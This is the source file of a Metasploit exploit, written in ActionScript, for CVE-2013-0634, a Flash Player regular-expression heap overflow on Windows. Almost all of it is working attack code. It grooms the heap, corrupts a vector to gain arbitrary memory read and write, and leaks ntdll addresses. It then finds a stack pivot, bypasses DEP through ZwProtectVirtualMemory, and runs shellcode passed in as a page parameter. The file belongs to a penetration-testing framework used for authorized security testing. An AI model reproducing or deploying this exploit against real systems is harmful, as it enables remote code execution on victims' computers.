metasploit-framework/external/source/exploits/CVE-2013-0634/exploit.as

545 lines
19 KiB
ActionScript
Raw Normal View History

2014-04-18 04:32:29 +00:00
// Compile with: mxmlc exploit.as -o exploit.swf
package
{
import flash.display.Sprite;
import flash.media.Sound;
import flash.utils.ByteArray;
import __AS3__.vec.Vector;
import flash.display.LoaderInfo;
import flash.system.Capabilities;
import flash.utils.Endian;
import __AS3__.vec.*;
import flash.utils.*;
import flash.display.*;
import flash.media.*;
import flash.system.*;
import flash.external.*;
import flash.net.*;
public class exploit extends Sprite
{
public var flash_version:Number;
public var sound_object:Sound;
public var byte_array:ByteArray;
public var massaged_memory:Vector.<Object>;
public var vector_object_offset_4:uint; // For overwritting and restoring purposes; float in memory needs 8 bytes
public var TweakedVector:Vector.<Number>;
public var TweakedVector_address:uint;
public var sound_address:uint;
public var sound_address_vtable:uint;
public var sound_address_offset_4:uint; // For overwritting and restoring purposes; float in memory needs 8 bytes
public var byte_array_data_address:uint;
public var ntdll_base:uint;
public var ntdll_pe_file_header:uint;
public var stack_pivot:uint;
public var virtual_alloc_address:uint;
public var last_leaked_address:uint;
public var last_leak:Vector.<uint>;
public function exploit():void
{
this.sound_object = new Sound();
this.byte_array = new ByteArray();
this.massaged_memory = new Vector.<Object>(0);
this.last_leak = new Vector.<uint>(2);
super();
var loader:LoaderInfo = LoaderInfo(this.root.loaderInfo);
var shellcode:String = ((loader.parameters.hasOwnProperty("his")) ? loader.parameters["his"] : null);
if (shellcode == null){
return;
};
if (!this.CheckVersion()){
return;
};
this.ExploitIt(shellcode);
this.Restore();
}
public function CheckVersion():Boolean
{
var capabilities:* = Capabilities.version.toLowerCase().split(" ");
if (capabilities[0] != "win"){
return (false);
};
this.flash_version = Number(capabilities[1].substr(0, 4).split(",").join(""));
if ((((this.flash_version < 110)) && ((this.flash_version > 115)))){
return (false);
};
return (true);
}
public function PrepareMemoryAndOverflow():RegExp
{
var index:uint;
var tmp_vector:Vector.<Object>;
index = 0;
while (index < 0x4000) {
tmp_vector = new Vector.<Object>(16);
tmp_vector[0] = new RegExp("sdfhefbwjghfewtyfnwgvwgbvhwasfgsvrtvcrgeeg", "");
tmp_vector[1] = this.CreateVectorSixteenNumbers();
tmp_vector[2] = this.CreateVectorSixteenNumbers();
tmp_vector[3] = this.CreateVectorSixteenNumbers();
tmp_vector[4] = this.CreateVectorSixteenNumbers();
tmp_vector[5] = this.CreateVectorSixteenNumbers();
tmp_vector[6] = this.CreateVectorSixteenNumbers();
tmp_vector[7] = this.CreateVectorSixteenNumbers();
tmp_vector[8] = this.CreateVectorSixteenNumbers();
tmp_vector[9] = this.CreateVectorThirtyTwoObjects();
tmp_vector[10] = this.CreateVectorThirtyTwoObjects();
tmp_vector[11] = this.CreateVectorThirtyTwoObjects();
tmp_vector[12] = this.CreateVectorThirtyTwoObjects();
tmp_vector[13] = this.CreateVectorThirtyTwoObjects();
tmp_vector[14] = this.CreateVectorThirtyTwoObjects();
tmp_vector[15] = this.CreateVectorThirtyTwoObjects();
this.massaged_memory[index] = tmp_vector;
index++;
};
index = 0x2000;
// Make some holes
while (index < 0x3fff) {
if ((index % 2) != 0){
this.massaged_memory[index][2] = null;
};
index++;
};
// Hopefully reuse a hole and overflow a tmp_vector[3] field
return (new RegExp("(?i)()()(?-i)||||||||||||||||||||||", ""));
}
public function SearchOverflowedTweakAndRestore():Boolean
{
var index:uint;
var numbers_vector_index:uint;
var overflowed_vector:Vector.<Number>;
var fingerprint:Number;
index = 0;
_loop_1:
while (index < 0x4000) {
numbers_vector_index = 1;
while (numbers_vector_index < 9) {
try {
// If the length is bigger than 17, the vector's length has been overflowed
if ((this.massaged_memory[index][numbers_vector_index] as Vector.<Number>).length > 17){
overflowed_vector = (this.massaged_memory[index][numbers_vector_index] as Vector.<Number>);
if (this.ReadTwoUint(overflowed_vector, 17)[0] == 16) {
break _loop_1;
}
return (false);
};
} catch(e:Error) {
};
numbers_vector_index++;
};
index++;
};
if (overflowed_vector){
this.vector_object_offset_4 = this.ReadTwoUint(overflowed_vector, 17)[1];
// Overwrite the length of the vector following the overflowed one:
// reused hole (vector) ==> overflowed vector ==> corrupted (tweaked) vector
overflowed_vector[17] = this.TwoUintToFloat(0xFFFFFFFE, this.vector_object_offset_4);
// corrupts the first position of the corrupted (tweaked) vector, so we can find it
// in the future easily.
fingerprint = (overflowed_vector[18] = this.TwoUintToFloat(0x41414141, 0));
index = 0;
while (index < 0x4000) {
numbers_vector_index = 1;
while (numbers_vector_index < 9) {
try {
// restore the overflowed vector's length
if ((this.massaged_memory[index][numbers_vector_index] as Vector.<Number>)[0] == fingerprint){
this.TweakedVector = (this.massaged_memory[index][numbers_vector_index] as Vector.<Number>);
this.TweakedVector[0x1fffffed] = this.TwoUintToFloat(16, this.vector_object_offset_4);
return (true);
};
} catch(e:Error) {
};
numbers_vector_index++;
};
index++;
};
};
return (false);
}
public function Restore():void
{
try {
if (((this.TweakedVector) && (this.vector_object_offset_4))){
if (((this.sound_address) && (this.sound_address_vtable))){
this.OverwriteAddress(this.sound_address, this.sound_address_vtable, this.sound_address_offset_4);
};
this.TweakedVector[0x1fffffff] = this.TwoUintToFloat(16, this.vector_object_offset_4);
return;
};
} catch(e:Error) {
};
do {
} while (1);
}
public function GetAddressTweakedVector():Boolean
{
var index:uint;
var index_numbers_vectors:uint;
var tweaked_next:Vector.<uint>;
var tweaked_next_next:Vector.<uint>;
try {
index = 0;
// Nullify (free) number vectors who aren't the tweaked one
while (index < 0x4000) {
index_numbers_vectors = 1;
while (index_numbers_vectors < 9) {
if (this.massaged_memory[index][index_numbers_vectors] != this.TweakedVector){
this.massaged_memory[index][index_numbers_vectors] = null;
};
index_numbers_vectors++;
};
index++;
};
index = 1;
while (index < 4) {
tweaked_next = this.ReadTwoUint(this.TweakedVector, ((17 * index) + (index - 1)));
tweaked_next_next = this.ReadTwoUint(this.TweakedVector, ((17 * (index + 1)) + index));
// Verify that after the tweaked vector there are two more number vectors
// With the tweaked vector it is kinda easy to disclose its own address, becasuse
// Flash links vectors, so there are pointers.
if ((((((((((tweaked_next[1] == this.vector_object_offset_4)) && ((tweaked_next_next[1] == this.vector_object_offset_4)))) && ((tweaked_next[1] < tweaked_next[0])))) && ((tweaked_next_next[1] < tweaked_next_next[0])))) && (((tweaked_next_next[0] - tweaked_next[0]) == 144)))){
this.TweakedVector_address = (tweaked_next[0] - (144 * (index + 1)));
return (true);
};
index++;
};
} catch(e:Error) {
};
return (false);
}
public function LeakObjectAddresses():Boolean
{
var one_signature:Number;
var i:uint;
var objects_leak:Vector.<uint>;
var byte_array_address:uint;
try {
one_signature = this.TwoUintToFloat(1, 1); // to match nil entries
i = 0;
while (i < 0x1000) {
// Search first objects vector entry from the tweaked one (from the massaged memory...)
if ((((this.ReadTwoUint(this.TweakedVector, i)[1] == 32)) && ((this.TweakedVector[(i + 1)] == one_signature)))){
//objects_leak[0] => ByteArray object
//objects_leak[1] => Sound object
objects_leak = this.ReadTwoUint(this.TweakedVector, (i + 2));
this.sound_address = (objects_leak[0] & 0xFFFFFFF8);
this.sound_address_vtable = this.Leak(this.sound_address, true);
this.sound_address_offset_4 = this.Leak((this.sound_address + 4), true);
byte_array_address = (objects_leak[1] & 0xFFFFFFF8);
if (this.flash_version < 114){
this.byte_array_data_address = this.Leak((byte_array_address + 56), true);
} else {
byte_array_address = this.Leak((byte_array_address + 64), true);
this.byte_array_data_address = this.Leak((byte_array_address + 8), true);
};
return (true);
};
i++;
};
} catch(e:Error) {
};
return (false);
}
public function Leak(address:uint, align:Boolean):uint
{
var eigth_byte_aligned:uint;
if (align) {
eigth_byte_aligned = ((((address % 8) == 0)) ? 0 : 1);
} else {
eigth_byte_aligned = 0;
}
if (eigth_byte_aligned){
address = (address - 4);
};
if (this.last_leaked_address == address){
return (this.last_leak[eigth_byte_aligned]);
};
var _local_3:uint = (((address - this.TweakedVector_address) - 8) / 8);
this.last_leaked_address = address;
this.last_leak = this.ReadTwoUint(this.TweakedVector, _local_3);
return (this.last_leak[eigth_byte_aligned]);
}
public function OverwriteAddress(address:uint, value1:uint, value2:uint):void
{
var address_trough_tweaked:uint = (((address - this.TweakedVector_address) - 8) / 8);
this.TweakedVector[address_trough_tweaked] = this.TwoUintToFloat(value1, value2);
}
public function LeakNtdll():Boolean
{
var ntdll_address:uint;
var KiFastSystemCall_address:uint;
var pe_file_header_address:uint;
try {
//KiFastSystemCallRet
KiFastSystemCall_address = this.Leak(0x7FFE0300, true);
if (KiFastSystemCall_address == 0){
KiFastSystemCall_address = this.Leak(0x7ffe0340, true);
};
if (KiFastSystemCall_address){
KiFastSystemCall_address = (KiFastSystemCall_address & 0xFFFF0000);
while (1) {
if ((this.Leak(KiFastSystemCall_address, true) & 0xFFFF) == 0x5a4d){ // PE signature
ntdll_address = KiFastSystemCall_address;
break;
};
KiFastSystemCall_address = (KiFastSystemCall_address - 65536);
};
if (ntdll_address){
pe_file_header_address = (ntdll_address + this.Leak((ntdll_address + 0x3c), true));
if (this.Leak(pe_file_header_address, true) == 0x4550){ // NT Header
this.ntdll_base = ntdll_address;
this.ntdll_pe_file_header = pe_file_header_address;
return (true);
};
};
};
} catch(e:Error) {
};
return (false);
}
public function GetUint(_arg_1:uint, _arg_2:uint, _arg_3:uint):uint
{
var _local_4:uint = (_arg_1 >>> (8 * _arg_3));
var _local_5:uint = (((_arg_3 == 0)) ? 0 : (_arg_2 << ((4 - _arg_3) * 8)));
return ((_local_5 | _local_4));
}
public function FindStackPivot():Boolean
{
var ntdll_size_of_code:uint;
var ntdll_base_of_code:uint;
var instr:uint;
var offset:uint;
var next_instr:uint;
var instr_offset:uint;
try {
ntdll_size_of_code = this.Leak((this.ntdll_pe_file_header + 0x1c), true);
ntdll_base_of_code = this.Leak((this.ntdll_pe_file_header + 0x2c), true);
if (((ntdll_size_of_code) && (ntdll_base_of_code))){
ntdll_base_of_code = (ntdll_base_of_code + this.ntdll_base);
instr = this.Leak(ntdll_base_of_code, true);
offset = 4;
while (offset < ntdll_size_of_code) {
next_instr = this.Leak((ntdll_base_of_code + offset), true);
instr_offset = 0;
while (instr_offset < 4) {
if ((this.GetUint(instr, next_instr, instr_offset) & 0xFFFF) == 0xc394){ // xcht esp, eax ; ret # 94 c3
this.stack_pivot = (((ntdll_base_of_code + offset) - 4) + instr_offset);
return (true);
};
instr_offset++;
};
instr = next_instr;
offset = (offset + 4);
};
};
} catch(e:Error) {
};
return (false);
}
public function Match(address:uint, signature:Vector.<uint>, offset:uint):Boolean
{
var content_next:uint;
var content:uint = this.Leak(address, true);
var i:uint;
while (i < signature.length) {
content_next = this.Leak((address + ((i + 1) * 4)), true);
if (this.GetUint(content, content_next, offset) != signature[i]){
return (false);
};
content = content_next;
i++;
};
return (true);
}
public function LeakVirtualProtect():Boolean
{
var exports_address:uint;
var virtual_protect_signature:Vector.<uint>;
var n_functions:uint;
var ptrs_entry:uint;
var ptrs_name:uint;
var ptrs_ordinal:uint;
var i:uint;
var export_name_entry:uint;
var offset_export_name_entry:uint;
var _local_10:uint;
try {
exports_address = this.Leak((this.ntdll_pe_file_header + 0x78), true); // Export Data Directory Offset
if (exports_address){
exports_address = (exports_address + this.ntdll_base);
virtual_protect_signature = new <uint>[0x7250775a, 0x6365746f, 0x72695674]; // ZwProtectVir ; It's searching for ZwProtectVirtualMemory
n_functions = this.Leak((exports_address + 24), true);
ptrs_entry = this.Leak((exports_address + 28), true);
ptrs_name = this.Leak((exports_address + 32), true);
ptrs_ordinal = this.Leak((exports_address + 36), true);
if (((((((n_functions) && (ptrs_entry))) && (ptrs_name))) && (ptrs_ordinal))){
ptrs_entry = (ptrs_entry + this.ntdll_base);
ptrs_name = (ptrs_name + this.ntdll_base);
ptrs_ordinal = (ptrs_ordinal + this.ntdll_base);
i = 0;
while (i < n_functions) {
export_name_entry = this.Leak((ptrs_name + (i * 4)), true);
if (export_name_entry){
export_name_entry = (export_name_entry + this.ntdll_base);
offset_export_name_entry = (export_name_entry % 4);
export_name_entry = (export_name_entry - offset_export_name_entry);
if (this.Match(export_name_entry, virtual_protect_signature, offset_export_name_entry)){
_local_10 = this.Leak((ptrs_ordinal + ((i / 2) * 4)), false);
if ((i % 2)){
_local_10 = (_local_10 >>> 16);
};
this.virtual_alloc_address = (this.ntdll_base + this.Leak((ptrs_entry + ((_local_10 & 0xFFFF) * 4)), true));
return (true);
};
};
i++;
};
};
};
} catch(e:Error) {
};
return (false);
}
public function ExploitIt(shellcode:String):void
{
var not_used:* = this.PrepareMemoryAndOverflow();
if (!this.SearchOverflowedTweakAndRestore()){
return;
};
if (!this.GetAddressTweakedVector()){
return;
};
if (!this.LeakNtdll()){
return;
};
if (!this.FindStackPivot()){
return;
};
if (!this.LeakVirtualProtect()){
return;
};
var i:uint;
while (i < 0x19000) {
this.byte_array.writeUnsignedInt(0x41424344);
i++;
};
this.byte_array.endian = Endian.LITTLE_ENDIAN;
var init_pos:uint = this.byte_array.position;
// Write shellcode into the byte array
this.byte_array.position = (init_pos + 136);
this.write_into_byte_array(this.byte_array, shellcode);
// Write stack pivot into the byte array
this.byte_array.position = (init_pos + 112);
this.byte_array.writeUnsignedInt(this.stack_pivot);
if (!this.LeakObjectAddresses()){
return;
};
this.byte_array_data_address = (this.byte_array_data_address + init_pos);
this.byte_array.position = init_pos;
// build ZwProtectVirtualMemory "return to ntdll attack" to bypass DEP
this.byte_array.writeUnsignedInt(this.virtual_alloc_address); // ZwProtectVirtualMemory
this.byte_array.writeUnsignedInt((this.byte_array_data_address + 136)); // ret (shellcode address)
this.byte_array.writeUnsignedInt(0xFFFFFFFF); // ProcessHandle
this.byte_array.writeUnsignedInt((this.byte_array_data_address + 28)); // BaseAddress
this.byte_array.writeUnsignedInt((this.byte_array_data_address + 32)); // NumberOfBytesToProtect
this.byte_array.writeUnsignedInt(64); // NewAccessProtection
this.byte_array.writeUnsignedInt((this.byte_array_data_address + 36)); // OldAccessProtection
this.byte_array.writeUnsignedInt(this.byte_array_data_address); // this.byte_array_data_address + 28
this.byte_array.writeUnsignedInt(0x1000); // this.byte_array_data_address + 32
this.byte_array.writeUnsignedInt(0x41424344); // this.byte_array_data_address + 36
// Overwrite Sound...
this.OverwriteAddress(this.sound_address, this.byte_array_data_address, this.sound_address_offset_4);
// Make it happen!
new Number(this.sound_object.toString());
}
private function write_into_byte_array(byte_array:ByteArray, string:String):void
{
var _local_4:String;
var _local_5:int;
var _local_3:int;
while (_local_3 < string.length) {
_local_4 = string.substr(_local_3, 2);
_local_5 = parseInt(_local_4, 16);
byte_array.writeByte(_local_5);
_local_3 = (_local_3 + 2);
};
}
private function TwoUintToFloat(_arg_1:uint, _arg_2:uint):Number
{
var result_float:ByteArray = new ByteArray();
result_float.endian = Endian.LITTLE_ENDIAN;
result_float.writeInt(_arg_1);
result_float.writeInt(_arg_2);
result_float.position = 0;
return (result_float.readDouble());
}
// vector is a Float vectors
// index is the position to read from the vector
// read the vector[index] float i retorna els dos enters
// ocupant les dues posiciones
private function ReadTwoUint(vector:Vector.<Number>, index:uint):Vector.<uint>
{
var byte_array:ByteArray = new ByteArray();
byte_array.endian = Endian.BIG_ENDIAN;
byte_array.writeDouble(vector[index]);
var vector_uint:Vector.<uint> = new Vector.<uint>(2);
byte_array.position = 0;
vector_uint[1] = byte_array.readUnsignedInt();
vector_uint[0] = byte_array.readUnsignedInt();
return (vector_uint);
}
private function CreateVectorThirtyTwoObjects():Vector.<Object>
{
var vector:* = new Vector.<Object>(32);
vector[0] = null;
vector[1] = null;
vector[2] = this.sound_object;
vector[3] = this.byte_array;
return (vector);
}
private function CreateVectorSixteenNumbers():Vector.<Number>
{
var vector:* = new Vector.<Number>(16);
vector[0] = 0;
vector[15] = 1;
return (vector);
}
}
}